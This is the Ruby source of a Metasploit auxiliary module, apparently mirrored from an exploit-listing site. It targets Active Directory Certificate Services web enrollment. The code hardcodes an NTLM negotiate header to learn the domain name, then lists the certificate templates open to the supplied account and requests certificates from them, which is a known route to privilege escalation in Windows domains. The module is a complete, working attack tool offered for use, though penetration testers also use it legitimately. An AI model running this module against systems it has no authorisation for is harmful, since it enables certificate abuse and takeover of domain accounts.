## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-WEB_ENROLLMENT_CERT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::WebEnrollment
include Msf::Auxiliary::Scanner
def initialize(_info = {})
super({
'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
'Description' => %q{
Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
certificates based on available templates.
},
'Author' => [
'bwatters-r7',
'jhicks-r7', # query for available certs
'Spencer McIntyre'
],
'License' => MSF_LICENSE
})
deregister_options('HttpUsername', 'HttpPassword')
register_options([
Opt::RPORT(80),
OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
])
register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
])
@issued_certs = {}
end
def validate
super
case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].blank?
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
end
when 'ALL', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
end
end
setup
end
def pull_domain(target_ip, target_uri)
begin
vprint_status("Checking #{target_ip} URL #{target_uri}")
res = send_request_cgi({
'rhost' => target_ip,
'encode' => true,
'username' => nil,
'password' => nil,
'uri' => normalize_uri(target_uri),
'method' => 'GET',
'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
})
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
vprint_error('Unable to Connect')
return
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error('Timeout error')
return
end
return nil if res.nil?
unless res && res.code == 401
print_bad("Incorrect status code returned checking for domain: #{res.code}")
return nil
end
unless res['WWW-Authenticate']
print_bad('Target does not appear to support Windows Authentication.')
return nil
end
unless res['WWW-Authenticate'].match(/^NTLM/i)
print_bad('Target does not appear to support NTLM.')
return nil
end
hash = res['WWW-Authenticate'].split('NTLM ')[1]
return nil if hash.nil?
# Parse out the NTLM and get the Target Information Data containing the domain name
begin
message = Net::NTLM::Message.parse(Base64.decode64(hash))
ti = Net::NTLM::TargetInfo.new(message.target_info)
ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
rescue StandardError => e
vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
nil
end
end
def run_host(target_ip)
validate
queried_domain = pull_domain(target_ip, target_uri)
if queried_domain.nil?
fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
end
# The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
# We need to normalize it so we can do the string compares later
datastore_domain = datastore['DOMAIN']
queried_domain.force_encoding('UTF-16LE')
queried_domain = queried_domain.encode(datastore_domain.encoding)
# kerberos requires DOMAIN be the FQDN but in other cases check if DOMAIN is set to something other than the NETBIOS
# domain name that was returned from the NTLM handshake which would imply an operator error
if datastore['HTTP::Auth'] != 'kerberos' && datastore['DOMAIN'].present? && datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
end
connection_identity = queried_domain + '\\' + datastore['HttpUsername']
http_client = connect(
{
'rhost' => target_ip,
'method' => 'GET',
'uri' => normalize_uri(target_uri),
'headers' => {
'Accept-Encoding' => 'identity'
}
}
)
case datastore['MODE']
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(http_client)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(http_client, connection_identity, cert_templates)
end
end
when 'SPECIFIC_TEMPLATE'
cert_template = datastore['CERT_TEMPLATE']
retrieve_cert(http_client, connection_identity, cert_template)
end
end
end